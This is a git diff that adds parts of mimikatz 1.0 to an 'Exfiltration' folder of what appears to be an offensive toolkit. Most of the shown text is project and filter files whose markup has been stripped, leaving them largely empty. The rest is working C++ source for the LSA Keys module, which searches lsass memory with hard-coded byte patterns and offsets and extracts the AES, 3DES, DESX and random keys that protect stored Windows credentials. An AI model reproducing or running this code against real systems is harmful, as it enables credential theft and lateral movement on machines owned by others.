b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj new file mode 100644 index 00000000..5c0f1384 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj @@ -0,0 +1,228 @@ + + + + + Release + Win32 + + + Release + x64 + + + + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8} + Win32Proj + mimikatz + + + + DynamicLibrary + false + true + Unicode + Static + + + DynamicLibrary + false + true + Unicode + Static + + + + + + + + + + + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + false + + + false + $(SolutionDir)$(Platform)\ + $(Platform)\ + false + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + true + Fast + false + false + true + false + Size + None + + + Console + true + true + psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib + false + NoErrorReport + + + 0x040c + + + + + Level3 + NotUsing + Full + true + true + WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions) + $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) + true + Fast + false + false + true + false + Size + None + MultiThreaded + + + Console + true + true + psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib + false + NoErrorReport + + + 0x040c + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters new file mode 100644 index 00000000..378149f3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters @@ -0,0 +1,386 @@ + + + + + {86154ac4-51c4-4228-9ebb-5bc3c67c82a5} + + + {ab2db025-9ada-4b24-9f10-5bc479e72179} + + + {4745ebd5-cfb4-4ff6-b2a2-5c867f06f52a} + + + {3774201f-55a6-4793-8ca7-b6a9b1ff795b} + + + {81abef97-02ad-49e1-abfc-05b3c052b87c} + + + {5132675e-44a3-4ab9-a33b-91cbeaa9559a} + + + {5b8a7a54-517e-4ab4-b7e6-be738e69c0c7} + + + {1c14c20e-5127-461c-8c84-e47f621878a5} + + + {13a67a74-e658-49da-8af5-857e3d692af7} + + + {56b648ea-1ae8-4f7b-90b6-860f84d468d9} + + + {4e99b7f2-6de3-4984-a50a-0f60b3cf74d6} + + + {e3eb943a-ee7e-4141-afb7-51276c95b0e1} + + + {3d143a37-f444-4586-8866-b7c022720fb0} + + + {83996a56-5b3b-4d85-aa27-8cc0d3f1a5b6} + + + {22cb979b-54ee-4732-bd93-538856c4818f} + + + {33450f45-6837-4cba-af7b-457bceebc085} + + + {660c14bc-8634-4e80-87d6-39f9dab51e2d} + + + {238e934d-2706-4fe3-8b7a-f14c2939f060} + + + {d5a5224b-a3d5-4ebb-9805-08998c7ed015} + + + {2a99a328-634d-44e7-bcaa-30112f169554} + + + {c8277a95-f9da-4352-9bb1-b35c883c6054} + + + {b482744c-513e-41c6-a766-22adead15ecd} + + + {a5ed030b-28fe-41b0-9f63-b254fd57400f} + + + {77e8ad35-fa4d-4e0d-afdc-ae3060d5370a} + + + {43b545d3-ad41-4c42-970d-7850d77b5432} + + + {3a9d8afc-3734-4b86-ab2a-a300a20f956a} + + + + + + Modules Communs\Certificats & Clés + + + Modules Communs\Injecteur + + + Modules Communs\Mémoire + + + Modules Communs\Parseur + + + Modules Communs\System + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules locaux pour mimikatz\Standard + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\Démineur + + + Modules locaux pour mimikatz\AntiGpo + + + Modules Communs\System + + + Modules Communs\Registre + + + Modules locaux pour mimikatz\Samdump + + + Modules Communs\Communication + + + Modules locaux pour mimikatz\Injecteur + + + Modules Communs\Certificats & Clés + + + Modules Communs\Certificats & Clés + + + Modules Communs\Patch + + + Modules locaux pour mimikatz\Terminal Server + + + Modules locaux pour mimikatz\Divers + + + Modules Communs\Securité et ACL + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules locaux pour mimikatz\System + + + Modules Communs\Terminal Server + + + Modules locaux pour mimikatz\Impersonate + + + Modules locaux pour mimikatz\System + + + Modules Communs\Texte + + + Modules Communs\Certificats & Clés + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules Communs\System + + + Modules locaux pour mimikatz\Démineur + + + Modules locaux pour mimikatz\SekurLSA + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules Communs\System + + + Modules Communs\System + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\LSA Keys + + + Modules locaux pour mimikatz\SekurLSA\LSA Keys + + + + + + + + Modules Communs\Certificats & Clés + + + Modules Communs\Injecteur + + + Modules Communs\Mémoire + + + Modules Communs\Parseur + + + Modules Communs\System + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules locaux pour mimikatz\Standard + + + Modules locaux pour mimikatz\Démineur + + + Modules locaux pour mimikatz\AntiGpo + + + Modules Communs\Registre + + + Modules locaux pour mimikatz\Samdump + + + Modules Communs\Communication + + + Modules locaux pour mimikatz\Injecteur + + + Modules Communs\Certificats & Clés + + + Modules Communs\Certificats & Clés + + + Modules Communs\Patch + + + Modules locaux pour mimikatz\Terminal Server + + + Modules locaux pour mimikatz\Divers + + + Modules Communs\Securité et ACL + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules Communs\System + + + Modules locaux pour mimikatz\System + + + Modules Communs\Terminal Server + + + Modules locaux pour mimikatz\Impersonate + + + Modules locaux pour mimikatz\System + + + Modules Communs\Texte + + + Modules Communs\Certificats & Clés + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules Communs\System + + + Modules locaux pour mimikatz\Démineur + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA + + + Modules locaux pour mimikatz\System + + + Modules locaux pour mimikatz\Certificats & Clés + + + Modules Communs\System + + + Modules Communs\System + + + Modules locaux pour mimikatz\SekurLSA\Security Packages + + + Modules locaux pour mimikatz\SekurLSA\LSA Keys + + + Modules locaux pour mimikatz\SekurLSA\LSA Keys + + + + + + + \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp new file mode 100644 index 00000000..9b51c7f8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp @@ -0,0 +1,76 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt5.h" +#include "..\..\global.h" +PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL; + +#ifdef _M_X64 +BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3}; +LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long)); +LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long)); +LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long)); +LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long)); +#elif defined _M_IX86 +BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68}; +LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY); +LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2; +LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2; +LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2; +#endif + +bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() +{ + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY))) + { +#ifdef _M_X64 + PBYTE g_Feedback = reinterpret_cast((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback)); + g_pRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey)); + g_pDESXKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey)); + PDWORD g_cbRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey)); +#elif defined _M_IX86 + PBYTE g_Feedback = *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback); + g_pRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey); + g_pDESXKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey); + PDWORD g_cbRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey); +#endif + *g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL; + + mesSucces = 0; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + { + mesSucces++; + *g_pRandomKey = new BYTE[*g_cbRandomKey]; + if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + { + mesSucces++; + *g_pDESXKey = new BYTE[144]; + if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + } + else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl; + return (mesSucces == 6); +} + +bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData() +{ + if(g_pRandomKey && *g_pRandomKey) + delete[] *g_pRandomKey; + if(g_pDESXKey && *g_pDESXKey) + delete[] *g_pDESXKey; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h new file mode 100644 index 00000000..121d9c53 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h @@ -0,0 +1,17 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_keys_nt5 { + +private: + static PBYTE *g_pRandomKey, *g_pDESXKey; +public: + static bool searchAndInitLSASSData(); + static bool uninitLSASSData(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp new file mode 100644 index 00000000..ac642ef7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp @@ -0,0 +1,186 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt6.h" +#include "..\..\global.h" +HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL; +PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL; +mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL; +BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL; + +BYTE kiwiRandom3DES[24], kiwiRandomAES[16]; + +#ifdef _M_X64 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D}; +LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3; +LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3; +LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3; + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D}; +LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3; +LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3; +#elif defined _M_IX86 +BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long)); +LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long)); +LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + +BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68}; +LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long)); +LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long)); +LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); +#endif + +bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData() +{ + if(!hBCrypt) + hBCrypt = LoadLibrary(L"bcrypt"); + + PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY; + LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector; + if(mod_system::GLOB_Version.dwBuildNumber < 8000) + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey; +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector; + } + else + { + OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector; + } +#elif defined _M_IX86 + OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector; +#endif + } + else + { + PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY; + SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); + OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey; + OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey; + OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector; + } + + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY)) + { +#ifdef _M_X64 + LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4; + PBYTE InitializationVector = reinterpret_cast((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector)); + hAesKey = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey)); + h3DesKey = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey)); + hAesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); + h3DesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); +#elif defined _M_IX86 + PBYTE InitializationVector = *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector); + hAesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey); + h3DesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey); + hAesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2); + h3DesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2); +#endif + if(hBCrypt && LsaInitializeProtectedMemory()) + { + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + + KIWI_BCRYPT_KEY maCle; + KIWI_BCRYPT_KEY_DATA maCleData; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes la fin, la structure de dpart n'tait pas inutile ;) + mesSucces++; + + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) + if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + } + else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl; + } + else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl; + + return (mesSucces == 3); +} + + +bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData() +{ + if(hBCrypt) + { + LsaCleanupProtectedMemory(); + FreeLibrary(hBCrypt); + } + return true; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaInitializeProtectedMemory() +{ + bool resultat = false; + + PBCRYPT_OPEN_ALGORITHM_PROVIDER K_BCryptOpenAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptOpenAlgorithmProvider")); + PBCRYPT_SET_PROPERTY K_BCryptSetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptSetProperty")); + PBCRYPT_GET_PROPERTY K_BCryptGetProperty = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGetProperty")); + PBCRYPT_GENERATE_SYMMETRIC_KEY K_BCryptGenerateSymmetricKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptGenerateSymmetricKey")); + + if(NT_SUCCESS(K_BCryptOpenAlgorithmProvider(h3DesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0)) && + NT_SUCCESS(K_BCryptOpenAlgorithmProvider(hAesProvider, BCRYPT_AES_ALGORITHM, NULL, 0))) + { + if(NT_SUCCESS(K_BCryptSetProperty(*h3DesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CBC), sizeof(BCRYPT_CHAIN_MODE_CBC), 0)) && + NT_SUCCESS(K_BCryptSetProperty(*hAesProvider, BCRYPT_CHAINING_MODE, reinterpret_cast(BCRYPT_CHAIN_MODE_CFB), sizeof(BCRYPT_CHAIN_MODE_CFB), 0))) + { + DWORD DES3KeyLen, AESKeyLen, cbLen; + + if(NT_SUCCESS(K_BCryptGetProperty(*h3DesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&DES3KeyLen), sizeof(DES3KeyLen), &cbLen, 0)) && + NT_SUCCESS(K_BCryptGetProperty(*hAesProvider, BCRYPT_OBJECT_LENGTH, reinterpret_cast(&AESKeyLen), sizeof(AESKeyLen), &cbLen, 0))) + { + DES3Key = new BYTE[DES3KeyLen]; + AESKey = new BYTE[AESKeyLen]; + + resultat = NT_SUCCESS(K_BCryptGenerateSymmetricKey(*h3DesProvider, (BCRYPT_KEY_HANDLE *) h3DesKey, DES3Key, DES3KeyLen, kiwiRandom3DES, sizeof(kiwiRandom3DES), 0)) && + NT_SUCCESS(K_BCryptGenerateSymmetricKey(*hAesProvider, (BCRYPT_KEY_HANDLE *) hAesKey, AESKey, AESKeyLen, kiwiRandomAES, sizeof(kiwiRandomAES), 0)); + } + } + } + return resultat; +} + +bool mod_mimikatz_sekurlsa_keys_nt6::LsaCleanupProtectedMemory() +{ + PBCRYTP_DESTROY_KEY K_BCryptDestroyKey = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptDestroyKey")); + PBCRYTP_CLOSE_ALGORITHM_PROVIDER K_BCryptCloseAlgorithmProvider = reinterpret_cast(GetProcAddress(hBCrypt, "BCryptCloseAlgorithmProvider")); + + if (h3DesKey ) + K_BCryptDestroyKey(*h3DesKey); + if (hAesKey ) + K_BCryptDestroyKey(*hAesKey); + + if (h3DesProvider) + K_BCryptCloseAlgorithmProvider(*h3DesProvider, 0); + if (hAesProvider ) + K_BCryptCloseAlgorithmProvider(*hAesProvider, 0); + + if(DES3Key) + delete[] DES3Key; + if(AESKey) + delete[] AESKey; + + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h new file mode 100644 index 00000000..9b1940a5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.h @@ -0,0 +1,45 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../mod_mimikatz_sekurlsa.h" + +class mod_mimikatz_sekurlsa_keys_nt6 { + +private: + static HMODULE hBCrypt; + + typedef struct _KIWI_BCRYPT_KEY_DATA { + DWORD size; + DWORD tag; + DWORD type; + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD unk3; + PVOID unk4; + BYTE data; /* etc... */ + } KIWI_BCRYPT_KEY_DATA, *PKIWI_BCRYPT_KEY_DATA; + + typedef struct _KIWI_BCRYPT_KEY { + DWORD size; + DWORD type; + PVOID unk0; + PKIWI_BCRYPT_KEY_DATA cle; + PVOID unk1; + } KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY; + + static PBYTE DES3Key, AESKey; + static PKIWI_BCRYPT_KEY * hAesKey, * h3DesKey; + static BCRYPT_ALG_HANDLE * hAesProvider, * h3DesProvider; + + static bool LsaInitializeProtectedMemory(); + static bool LsaCleanupProtectedMemory(); + +public: + static bool searchAndInitLSASSData(); + static bool uninitLSASSData(); +}; diff --git 